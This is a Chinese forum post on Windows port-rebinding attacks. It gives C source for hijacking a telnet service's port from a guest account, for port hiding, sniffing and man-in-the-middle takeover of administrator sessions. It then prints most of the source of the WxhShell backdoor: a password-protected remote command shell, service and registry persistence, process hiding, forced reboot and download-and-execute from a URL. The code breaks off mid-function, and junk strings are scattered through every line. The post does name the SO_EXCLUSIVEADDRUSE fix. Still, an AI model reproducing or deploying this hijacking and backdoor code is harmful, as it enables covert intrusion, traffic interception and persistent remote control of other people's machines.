社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19383阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bMO^}qR`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >mb}~wx`  
F&d!fEHU  
  saddr.sin_family = AF_INET; U=Ps#  
.j]tzX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j4$nr=d.6  
X +`Dg::  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tFmB`*!%  
R(1:I@<?E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;uBGB h<  
w1/QnV  
  这意味着什么?意味着可以进行如下的攻击: \+ se%O  
Z& _kq|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x[0T$  
nWd!ovd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wvv+~K9jq  
Z"`w>c.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )lG}B U.  
UG2+Y']  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yE:y[k0E  
|E8sw a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2j s/>L0  
Zxebv# 4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .n8R%|C5  
DQG%`-J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GcV/_Y  
btW#ebm  
  #include x3+ -wv  
  #include =o#Z?Bn5  
  #include V:\:[KcL^  
  #include    csP4Oq\g[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v;,W ^#`  
  int main() F2N"aQ&  
  { I}`pY3  
  WORD wVersionRequested; )N.3Q1g-  
  DWORD ret; 0L}`fYf  
  WSADATA wsaData; kckRHbeU  
  BOOL val; ,GSiSn  
  SOCKADDR_IN saddr; 1Lb)S@Q`*R  
  SOCKADDR_IN scaddr; <LbLMV  
  int err; lC5zqyG  
  SOCKET s; VVJ0?G (?  
  SOCKET sc; j7}mh  
  int caddsize; 5rsz2;#p  
  HANDLE mt; ufXWK3~\  
  DWORD tid;   "Bd-h|J  
  wVersionRequested = MAKEWORD( 2, 2 ); ?C|'GkT  
  err = WSAStartup( wVersionRequested, &wsaData ); N:`_Vl  
  if ( err != 0 ) { g[} L ?  
  printf("error!WSAStartup failed!\n"); ^/n1h g  
  return -1; -P;3BHS$T  
  } }U}zS@kI  
  saddr.sin_family = AF_INET; W@R7CQE@  
   Rw+r1vW:A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )tlj{ 7p  
5226 &N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |8 ` }8vo)  
  saddr.sin_port = htons(23); IdmP!(u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ![z2]L+TB  
  { R27'00(Z0  
  printf("error!socket failed!\n"); `l|Oj$  
  return -1; mP)bOAU  
  } zyPb\/  
  val = TRUE; c=v016r\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $}/tlA&e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7Z>vQf B  
  { >CvhTrPI  
  printf("error!setsockopt failed!\n"); ka_m Q<{9  
  return -1; #9GfMxH  
  } ?`RlYu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ffP]U4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rN1]UaT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ; hQ[-  
h8/tKyr8(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8ZtJvk`  
  { ag'hHFV  
  ret=GetLastError(); @`[e1KQ  
  printf("error!bind failed!\n"); tddwnpnSw  
  return -1; Z_ GGH2u  
  } ]xRR/S4  
  listen(s,2); i!YfR]"}  
  while(1) _hY6 NMw  
  { \GEz.Vb  
  caddsize = sizeof(scaddr); :!Ci#[g  
  //接受连接请求 (wu'FFJp#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kw-<o!~  
  if(sc!=INVALID_SOCKET) Ta[2uv>  
  { d9 [j4q_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YP,,vcut  
  if(mt==NULL) lf"w/pb'  
  { EjfQF C  
  printf("Thread Creat Failed!\n"); "L.k m  
  break; B EwaQvQ!  
  } i*$+>3Q-  
  } &4OOW;,?<  
  CloseHandle(mt); 2/3yW.C  
  } >/-H!jUF]  
  closesocket(s); W3~u J(  
  WSACleanup(); gdIk%m4  
  return 0; 0(i3RPIj\  
  }   $~5H-wJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1gK|n  
  {  )M;~j  
  SOCKET ss = (SOCKET)lpParam; b_sasZo  
  SOCKET sc; SY Bp-o  
  unsigned char buf[4096]; & %/p; ::A  
  SOCKADDR_IN saddr; K~#?Y,}O  
  long num; e6p3!)@P1  
  DWORD val; M4Cb(QAVP  
  DWORD ret; I'xc$f_+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J* !_O#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GP+=b:C{E  
  saddr.sin_family = AF_INET; h] ho? K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?u cC@  
  saddr.sin_port = htons(23); pj_W^,*/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =|J*9z;  
  { c&PsT4Wh  
  printf("error!socket failed!\n"); )q{qWobS0  
  return -1; +mjwX?yF  
  } ;?q(8^A  
  val = 100; u^xnOVE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UG\2wH_  
  { @ 95p[  
  ret = GetLastError(); 'A|c\sy  
  return -1; 6r"NU`1A;r  
  } QyCrz{/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TDw~sxtv&  
  { NrS+N;i  
  ret = GetLastError(); 4Pr^>m  
  return -1; tD`^qMua  
  } }Bv1fbD4U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xD*Zcw(vj~  
  { 6n/=n%US  
  printf("error!socket connect failed!\n"); L{~ ]lUo  
  closesocket(sc); ft7M9<#v  
  closesocket(ss); n ^9?(a4u  
  return -1; 8(j]=n6 r  
  } :.=:N%3[  
  while(1) y9mV6.r  
  { ], Bafz)4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2{RRaUoRb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t{UVX%b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uKzx >\}?1  
  num = recv(ss,buf,4096,0); e!0xh  
  if(num>0) 2MB>NM<xO  
  send(sc,buf,num,0); x#E M)Thq  
  else if(num==0) Q"s6HZ"YI  
  break; Xc+YoA0Ez  
  num = recv(sc,buf,4096,0); p p0356  
  if(num>0) I]n X6=j5  
  send(ss,buf,num,0); UG44 oKB  
  else if(num==0) .WSn Y71  
  break; 41/civX>V  
  } Tp@Yn  
  closesocket(ss); Q1Qw45$  
  closesocket(sc); (,sz.  
  return 0 ; vE`;1UA}  
  } cFie;k  
a1_ N~4r`  
N5l`Rq^K  
========================================================== ax5n}  
@[joM*U  
下边附上一个代码,,WXhSHELL w}6~t\9D  
\>4>sCC  
========================================================== '`k  
ommW  
#include "stdafx.h" K?M~x&Q  
ThP~k9-  
#include <stdio.h> 8Y%  
#include <string.h> sRLjKi2D  
#include <windows.h> lq-F*r\/~+  
#include <winsock2.h> /Q W^v;^  
#include <winsvc.h> SeZ+&d  
#include <urlmon.h> Ho}*Bn~ic  
Q65M(x+oy  
#pragma comment (lib, "Ws2_32.lib") 7h(  
#pragma comment (lib, "urlmon.lib") )+v5 H  
 %o/@0.w  
#define MAX_USER   100 // 最大客户端连接数 O.#R r/+)  
#define BUF_SOCK   200 // sock buffer KUPQ6v }  
#define KEY_BUFF   255 // 输入 buffer RPMz&/k  
Xgh%2 ;:  
#define REBOOT     0   // 重启 qPi $kecx  
#define SHUTDOWN   1   // 关机 p]X+#I<  
D*46,>Tv  
#define DEF_PORT   5000 // 监听端口 )6XnxBSH  
m.6uLaD"!}  
#define REG_LEN     16   // 注册表键长度 z1tD2jL_  
#define SVC_LEN     80   // NT服务名长度 m; =S]3P*  
U(+QrC:  
// 从dll定义API U1 3Lsky%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A"DGn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -mO<(wfV>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x$Wtkb0<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Odrq#o?R  
{|%^'lS  
// wxhshell配置信息 P{s1NorKDh  
struct WSCFG { o;9H~E  
  int ws_port;         // 监听端口 dC4`xUv  
  char ws_passstr[REG_LEN]; // 口令 3#""`]9H  
  int ws_autoins;       // 安装标记, 1=yes 0=no B4*,]lS?  
  char ws_regname[REG_LEN]; // 注册表键名 Ts, U T L  
  char ws_svcname[REG_LEN]; // 服务名 0n X5Vo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3bLOT#t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e7iQG@i7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6t <[-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ZWU~38PM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6V9r[,n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IY~I=}  
}|-8- ;  
}; |]:6IuslJ  
q 7W7sw  
// default Wxhshell configuration V[^AV"V  
struct WSCFG wscfg={DEF_PORT, 1mh7fZgn  
    "xuhuanlingzhe", k,OxGG  
    1, \\Zsxya1  
    "Wxhshell", U1yspHiZ  
    "Wxhshell", -hF!_);{  
            "WxhShell Service", oQ Vm)Bn'R  
    "Wrsky Windows CmdShell Service", oN83`Z  
    "Please Input Your Password: ", a{;+_J3S  
  1, V LeYO5'L  
  "http://www.wrsky.com/wxhshell.exe", bQ?Vh@j(M  
  "Wxhshell.exe" m-[xrVV  
    }; 6 P9#6mZ  
[$>@f{:  
// 消息定义模块 ,DW q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rc@lGq9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z@JTZMN_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %"E!E1_Sv  
char *msg_ws_ext="\n\rExit."; KKg\n^  
char *msg_ws_end="\n\rQuit."; :[PA.Upi  
char *msg_ws_boot="\n\rReboot..."; hOqNZ66{  
char *msg_ws_poff="\n\rShutdown..."; -e51 /lhpd  
char *msg_ws_down="\n\rSave to "; >_\]c-~<  
DDT]A<WUV  
char *msg_ws_err="\n\rErr!"; lS2 `#l>  
char *msg_ws_ok="\n\rOK!"; `Lw Z(M-hI  
_+~jZ]o N  
char ExeFile[MAX_PATH]; CJ3/8*;w  
int nUser = 0; 8;UkZN"hy5  
HANDLE handles[MAX_USER]; <X5V]f  
int OsIsNt; _s=<Y^l%x  
/K,@{__JP  
SERVICE_STATUS       serviceStatus; |e+r~).4B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T/%k1Hsa4H  
kDiR2K&  
// 函数声明 sBxCi~  
int Install(void);  )DW".c  
int Uninstall(void); >FFp"%%  
int DownloadFile(char *sURL, SOCKET wsh); 0!c/4^  
int Boot(int flag); kmJ<AnK  
void HideProc(void); tsB}'+!v#  
int GetOsVer(void); g]b%<DJ  
int Wxhshell(SOCKET wsl); 21?>rezJ  
void TalkWithClient(void *cs);  pXNH  
int CmdShell(SOCKET sock); aO:A pOAO  
int StartFromService(void); xy)W_~Mk  
int StartWxhshell(LPSTR lpCmdLine); :W'.SRD  
'7]9q#{su  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5"x1Pln  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >G0ihhVt  
]VN1Y)  
// 数据结构和表定义 =*?XZA)c  
SERVICE_TABLE_ENTRY DispatchTable[] = nwDW<J{f|U  
{ ^sJp!hi4=)  
{wscfg.ws_svcname, NTServiceMain}, N9H qFp  
{NULL, NULL} od vUU#l  
}; li`  
p2GN93,u@P  
// 自我安装 q~\[P4m  
int Install(void) p|r>tBv?x  
{ `Z`o[]%  
  char svExeFile[MAX_PATH]; PB:r+[91  
  HKEY key; rG B*a8  
  strcpy(svExeFile,ExeFile); .KYDYdoS'  
%CrpUx  
// 如果是win9x系统,修改注册表设为自启动 MLmk=&d  
if(!OsIsNt) { |L)qH"Eo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kgX"I ?>d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0M}Ql5+h,  
  RegCloseKey(key); i8/"|+Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}7Xd P.2$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0w$1Yx~C  
  RegCloseKey(key); ',Oc +jLR  
  return 0; %A@U7gqc  
    } %8"Aq  
  } y$|OE%S  
} y=1(o3(  
else { ,ce$y4%(  
(jh0cy}|]  
// 如果是NT以上系统,安装为系统服务 B/EGaYH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {RH)&k&%  
if (schSCManager!=0) ;sSRv9Xb  
{ \D! I"mr  
  SC_HANDLE schService = CreateService %G]WOq=q  
  ( `]2y=f<{X  
  schSCManager, N1]P3  
  wscfg.ws_svcname, J\ ?  
  wscfg.ws_svcdisp, LC/%AbM  
  SERVICE_ALL_ACCESS, C:}"?tri  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =co6.Il  
  SERVICE_AUTO_START, 38RyUHL=  
  SERVICE_ERROR_NORMAL, Or()AzwE@  
  svExeFile, 0^MRPE|f5  
  NULL, M`G#cEc  
  NULL, 74~ %4  
  NULL, 2CPh'7|l  
  NULL, T "t%>g  
  NULL k'd=|U;(FV  
  ); T!H }^v  
  if (schService!=0) v$|cF'yyF=  
  { F)tcQO"G  
  CloseServiceHandle(schService); O/f+B}W  
  CloseServiceHandle(schSCManager); Ar$ Am  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y-:d`>b>\  
  strcat(svExeFile,wscfg.ws_svcname); >uz3 O?z P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X gA( D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K~\Ocl  
  RegCloseKey(key); [Kanj/  
  return 0; oSs~*mf  
    } )!D,;,aQ  
  } #Bas+8 @,  
  CloseServiceHandle(schSCManager); U#n1N7P|$F  
} @yn1#E,  
} ;U<rFs40  
5SHZRF(. 2  
return 1; 5q.)K f+  
} E"Y[k8-:2/  
Ivc/g,  
// 自我卸载 zO)3MC7l*  
int Uninstall(void) )L7h:%h#  
{ bX&=*L+ h6  
  HKEY key; jL#`CD  
Bjsg!^X7  
if(!OsIsNt) { yUFT9bD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,S=ur%  
  RegDeleteValue(key,wscfg.ws_regname); Mvlqx J$  
  RegCloseKey(key); oei2$uu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #; >v,Jo  
  RegDeleteValue(key,wscfg.ws_regname); 8Nf%<nUv  
  RegCloseKey(key); /:aY)0F0<&  
  return 0; _2S( *  
  } ft 4(^|~  
} lyyR yFfQ  
} )Es|EPCx!  
else { p#AQXIF0  
kR;Hb3hb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QpMi+q Y  
if (schSCManager!=0) um1xSf1Xv  
{ A#Jx6T`a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f5&K=4khn  
  if (schService!=0) ,9~2#[|lq  
  { t\\`#gc9~i  
  if(DeleteService(schService)!=0) { Ouc$M2m0!  
  CloseServiceHandle(schService); : ]~G9]R`  
  CloseServiceHandle(schSCManager); ~myY-nEY  
  return 0; ^1,VvLA+  
  } R"qxT.P(  
  CloseServiceHandle(schService); `"qSr%|  
  } nHF%PH#|o  
  CloseServiceHandle(schSCManager); W v!%'IB  
} ]*vv=@"`e  
} 4xD`Z_U  
59M\uVWR  
return 1; a}/ A]mu  
} 8{4jlL;"`?  
}:hN}*H  
// 从指定url下载文件 mvt%3zCB!  
int DownloadFile(char *sURL, SOCKET wsh) _tQR3I5  
{ p;9"0rj,z  
  HRESULT hr; Bh<6J&<n  
char seps[]= "/"; 0ZJt  
char *token; OS$^>1f"  
char *file; phqmr5s^H  
char myURL[MAX_PATH]; QlK]2r9  
char myFILE[MAX_PATH]; ~-o[v-\  
&`Ek-b!7  
strcpy(myURL,sURL); =^`?O* /;  
  token=strtok(myURL,seps); ^ah9:}Ll  
  while(token!=NULL) xh9Os <  
  { q!\4|KF~  
    file=token; bGe@yXId5  
  token=strtok(NULL,seps); .V`N^ H:l  
  } o0:RsODl  
L/2,r*LNx$  
GetCurrentDirectory(MAX_PATH,myFILE); {#4F}@Q  
strcat(myFILE, "\\"); fy|$A@f  
strcat(myFILE, file); vKmV<*K  
  send(wsh,myFILE,strlen(myFILE),0); %oHK=],|1  
send(wsh,"...",3,0); `0Bk@B[>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vo8gLX]a  
  if(hr==S_OK) NNP ut$.  
return 0; /K\]zPq  
else h@yn0CU3.  
return 1; .*Ylj2nM  
)@[##F2  
} ?_nbaFQK3  
gis;)al  
// 系统电源模块 GX ;~K  
int Boot(int flag) ^n&_JQIXb  
{ B'8/`0^n5  
  HANDLE hToken; 5l4YYwd>v  
  TOKEN_PRIVILEGES tkp; 'CA{>\F$F+  
mL]a_S{H  
  if(OsIsNt) { &Na,D7A:3I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r: M>/Z/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2nkymEPu  
    tkp.PrivilegeCount = 1; $u P'>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 85Red~-M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XsbYWJdds  
if(flag==REBOOT) { `A ^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ME.a * v  
  return 0; 6,a:s:$>}R  
} dh S7}n  
else { xY>@GSO1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rc`}QoB)R  
  return 0; _UGR+0'Q\  
} 5)iOG#8qJ  
  } $* hqF1Q  
  else { z1S p'h$  
if(flag==REBOOT) { 6&`hf >  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hU6oWm  
  return 0; iR]K!j2  
} dpSNh1  
else { =bJ7!&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zy(NJ  
  return 0; x7ZaI{    
} y XT8:2M  
} Ra/Pk G-7  
VDTt}J8  
return 1; 7]H<ou  
} cB=ExD.Q  
b|oT!s  
// win9x进程隐藏模块 #gsJ tT9  
void HideProc(void) <NXJ&xs-+  
{ {e p(_1  
Oe ~g[I;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xtO#reL"q?  
  if ( hKernel != NULL ) }\0ei(%H  
  { g+A>Bl3#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O+OUcMa,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ACOn}yH  
    FreeLibrary(hKernel); gE: ?C2  
  } ^:~!@$*;6  
A~}5T%qb  
return; ]p!)8[<  
} QTC!vKM  
a'Yi^;2+\  
// 获取操作系统版本 %z~=Jz^  
int GetOsVer(void) 55Ya(E  
{ 7zq@T]  
  OSVERSIONINFO winfo; Kv9Z.DY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6GA+xr=  
  GetVersionEx(&winfo); &&g02>gE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kk`Lu S?  
  return 1; r4mz   
  else \zKO5,qw  
  return 0; &P7Z_&34Z  
} -nXlW  
gCq'#G\Z  
// 客户端句柄模块 IGNU_w4j  
int Wxhshell(SOCKET wsl) +/ rt'0o  
{ LwYWgT\e  
  SOCKET wsh;  :g~_  
  struct sockaddr_in client; 3 3zE5vr  
  DWORD myID; slzB#  
y9b%P]i  
  while(nUser<MAX_USER) <*(^QOM  
{ l];/,J^  
  int nSize=sizeof(client); 6n^@Ps  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RdBIbm  
  if(wsh==INVALID_SOCKET) return 1; u4j"U6"]M  
Y>6N2&Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Xx4:S  
if(handles[nUser]==0) pX+4B=*  
  closesocket(wsh); S$ffTdRz  
else :V1j*)  
  nUser++; tI)|y?q  
  } .cm2L,1h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "VDMO^  
Al=ByX@  
  return 0; B"8jEYT5  
} T'{9!By,P  
1yVhO2`7]  
// 关闭 socket w2db=9  
void CloseIt(SOCKET wsh) j#0JD!Vr  
{ ||?@pn\  
closesocket(wsh); !Au#j^5K-o  
nUser--; Q(36RX%@  
ExitThread(0); Q':hmulT!  
} o7 t{?|  
5 owK2  
// 客户端请求句柄 bQ(-M:  
void TalkWithClient(void *cs) rr,w/[  
{ \<ysJgqUG  
^e =G} N^  
  SOCKET wsh=(SOCKET)cs; gB~^dv {  
  char pwd[SVC_LEN]; YS_3Cq  
  char cmd[KEY_BUFF]; C]p@7"l  
char chr[1]; /'VbV8%  
int i,j; 0(*L)s,5  
f7y.##WG  
  while (nUser < MAX_USER) { }wkY`"  
FWA?mde  
if(wscfg.ws_passstr) { ]IEZ?+F,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ek1c>s,t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rtfRA<  
  //ZeroMemory(pwd,KEY_BUFF); 2,wwI<=E'  
      i=0; N<1+aL\  
  while(i<SVC_LEN) { <Se9 aD  
"F%JZO51  
  // 设置超时 M~N/er  
  fd_set FdRead; SnR2o3r-Of  
  struct timeval TimeOut; U (#JC(E-#  
  FD_ZERO(&FdRead); iGkysU<wcp  
  FD_SET(wsh,&FdRead); le]~Cy0  
  TimeOut.tv_sec=8; %IZd-N7i^  
  TimeOut.tv_usec=0; uKXNzz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nwh@F1|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^sB0$|DU  
3H`{ A/r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vENf3;o0  
  pwd=chr[0]; M(zZ8#  
  if(chr[0]==0xd || chr[0]==0xa) { Z XGi> E  
  pwd=0; QW$p{ zo  
  break; l<BV{Gl  
  } !1fZ7a  
  i++; U8AH,?]#  
    } QeG9CS)E}j  
|?s sHW  
  // 如果是非法用户,关闭 socket HC/z3b;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e"52'zAV-  
} ~7U~   
r4fHD~#l{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c(e>Rmh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p |1u,N  
h='F,r5#2  
while(1) { # )y/aA  
[ r8 ZAS  
  ZeroMemory(cmd,KEY_BUFF); U!`iKy-  
B+snHabS6  
      // 自动支持客户端 telnet标准   !TJ,:c]4{!  
  j=0; C!a1.&HHZ7  
  while(j<KEY_BUFF) { 9&5<ZC-D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ".tL+A[  
  cmd[j]=chr[0]; Ff%V1BH[  
  if(chr[0]==0xa || chr[0]==0xd) { -X~mW  
  cmd[j]=0; r]UF<*$  
  break; ##*]2Dy  
  } G %6P`:  
  j++; hg(<>_~  
    } uTxa5j  
3_~iq>l  
  // 下载文件 > :IWRc2  
  if(strstr(cmd,"http://")) { lU%}_!tp3/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L]|mWyzT  
  if(DownloadFile(cmd,wsh))  7P7OTN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EP 4]#]5  
  else `om+p?j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {PcJuRTHB  
  } U~N7\Pa4  
  else { <"J]u@|  
dy&UF,l6  
    switch(cmd[0]) { 7l=;I%  
  [/UchU]DT  
  // 帮助 *q*3SP/  
  case '?': { $Sgf jm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +t+<?M B  
    break; :q]9F4im  
  } ^k;]"NR  
  // 安装 fq]PKLW'  
  case 'i': { RhH 1nf2UR  
    if(Install()) S@FO&o 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZLEdTScM  
    else hlaN'j <C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /.Ak'Vmi  
    break; %,kP_[!>Q  
    }  :^.wjUI  
  // 卸载 hPDKxYD]f  
  case 'r': { ~lys  
    if(Uninstall()) X,7y|tb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6!ve6ZB[p  
    else e "A"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qk1jmr  
    break; `za,sRFR  
    } Sw\*$g]  
  // 显示 wxhshell 所在路径 $'4 98%K2  
  case 'p': { t'v t'[~,U  
    char svExeFile[MAX_PATH]; 0jf6 z-4  
    strcpy(svExeFile,"\n\r"); sQvRupYRO  
      strcat(svExeFile,ExeFile); :oP LluW*  
        send(wsh,svExeFile,strlen(svExeFile),0); :TH cI;PG8  
    break; tcuwGs>_  
    } U]iI8c  
  // 重启 QO/0VB42  
  case 'b': { 50W+!'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ["Ltqgx  
    if(Boot(REBOOT)) 2T~cOH;T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?pTX4a&>  
    else { D(#f`Fj;  
